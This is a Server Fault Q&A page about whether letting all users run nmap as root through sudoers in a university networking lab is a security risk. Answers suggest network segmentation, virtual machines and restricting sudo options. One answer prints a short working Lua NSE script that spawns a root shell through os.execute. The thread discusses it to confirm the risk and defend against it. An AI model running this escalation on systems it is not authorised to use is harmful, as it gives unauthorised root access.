Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

At our university we have some computers in the "networking lab", that are configured to allow everybody to run nmap as root via /etc/sudoers. Could this be a security vulnerability?

share|improve this question

3 Answers 3

Letting users use computers could be a security vulnerability. Most "hacks" are inside jobs.

Anyway, nmap could be a security problem no matter what. A hammer builds houses, it also puts holes in skulls. Depends on the user and intent.

Chances are nmap in the school will be used 99% of the time the way it's intended for a learning environment. I think you almost have to allow it some root access since you're playing with ports below 1024.

The problem is that these can be used to "audit" other computers on your network.

If you want to limit the damage, consider a) partition off the labs at the switch from being able to portscan other computers outside the lab, or selectively allow services outside the lab to be scanned or accessed if these are general usage labs. B) run nmap on virtualized machines that the students can configure and customize but be easily wiped, maybe by ssh'ing into a virtualized student server that gives them more access. This lets you centralize management a bit better and they can do things using XLiveCD on Windows or any Linux environment on the lab computers.

Nmap can also put a strain on any network. If you have a lab of 20 machines simultaneously portscanning other machines at the same time you're going to be pushing a lot of traffic through the switches...hope they've got the horsepower to handle it or you're going to see some weird stuff.

share|improve this answer
    
+1 For the two limit damages recommendations, my thoughts exactly. –  Kyle Brandt Apr 9 '10 at 15:03

There are a few areas of potential vulnerability:

  1. If the users are able to scan a production-type network, there is the potential for causing denial-of-service problems for various services and systems. This is not specifically a vulnerability of running nmap as root however; this is just the nature of the tool. Sandbox the scanned network accordingly and you'll be fine.

  2. If there are security bugs in the nmap application itself, then yes, there could be vulnerabilities. Check bugtraq and the full disclosure mailing lists for these. Make sure you're using the latest version of stable nmap (I don't recommend using beta versions of anything for anything serious) and you should be fine.

  3. Lastly, if someone was able to plant a malicious Lua script that could be run by the nmap scripting engine (NSE), then there is the potential for that script to be run as root. Shell access can be gained via the NSE; see Kim's answer for details.

Of the three, the 2nd and 3rd are the ones that will be amplified by running as root. The issues will still remain as a general user; the vulnerabilities will be limited to the extent that the general user has access.

You can restrict what nmap options that can be used via the sudo config file to try and mitigate #3 by not allowing the users to utilize the NSE. Of course, if they need access to the NSE to accomplish their educational goals, then you'll likely have to accept the risk.

share|improve this answer

I just found out that nmap let's the user run arbitrary lua scripts. You can get a root shell with this lua script:

description = [[]]
author = ""
license = ""
categories = {}

portrule = function(host, port)
os.execute("bash")
return false
end

action = function(host, port)

end
share|improve this answer
    
Also, any updates you have should be put into your question or added as comments to your question, not as answers like this. Stackoverflow isn't a forum; it's a Q and A site. –  romandas Apr 9 '10 at 14:43
1  
@romandas the rules for SF explicitly allow answering your own question, which I just did. When I posted the question I didn't think it would be that easy. @romandas thanks for your answer –  Kim Apr 9 '10 at 14:59
    
At the time of my comment, you had only posted what appeared to be a comment, not an answer, on your own question. Obviously you've edited it since then. :) –  romandas Apr 9 '10 at 15:33
    
+1 for the code and confirming the potential vulnerability via the NSE. –  romandas Apr 9 '10 at 15:35
    
I'm not surprised by this. Many times a vulnerability is simply part of what the application is meant to do, used in nefarious ways. Even something as simple as an authorized file upload capability can lead to denial-of-service and code execution by those same personnel. –  romandas Apr 9 '10 at 15:43

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.